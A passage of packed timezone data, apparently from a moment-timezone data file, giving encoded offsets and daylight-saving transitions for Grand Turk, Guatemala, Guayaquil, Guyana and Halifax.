Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|76e2","America/Grand_Turk|LMT KMT EST EDT AST|4I.w 57.a 50 40 40|01232323232323232323232323232323232323232323232323232323232323232323232323243232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-3eLvf.s RK0m.C 2HHBQ.O 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 7jA0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|37e2","America/Guatemala|LMT CST CDT|62.4 60 50|0121212121|-24KhV.U 2efXV.U An0 mtd0 Nz0 ifB0 17b0 zDB0 11z0|13e5","America/Guayaquil|LMT QMT -05 -04|5j.k 5e 50 40|01232|-3eLuE.E 1DNzS.E 2uILK rz0|27e5","America/Guyana|LMT -04 -0345 -03|3Q.D 40 3J 30|01231|-2mf87.l 8Hc7.l 2r7bJ Ey0f|80e4","America/Halifax|LMT AST ADT AWT APT|4e.o 40 30 30 30|0121212121212121212121212121212121212121212121212134121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2IsHJ.A xzzJ.A 1db0 3I30 1in0 3HX0 IL0 1E10 ML0 1yN0 Pb0 1Bd0 Mn0 1Bd0 Rz0 1w10 Xb0 1w10 LX0 1w10 Xb0 1w10 Lz0 1C10 Jz0 1E10 OL0 1yN0 Un0 1qp0 Xb0 1qp0 11X0 1w10 Lz0 1HB0 LX0 1C10 FX0 1w10 Xb0 1qp0 Xb0 1BB0 LX0 1td0 Xb0 1qp0 Xb0 Rf0 8x50 iu0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 3Qp0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 3Qp0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 6i10 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 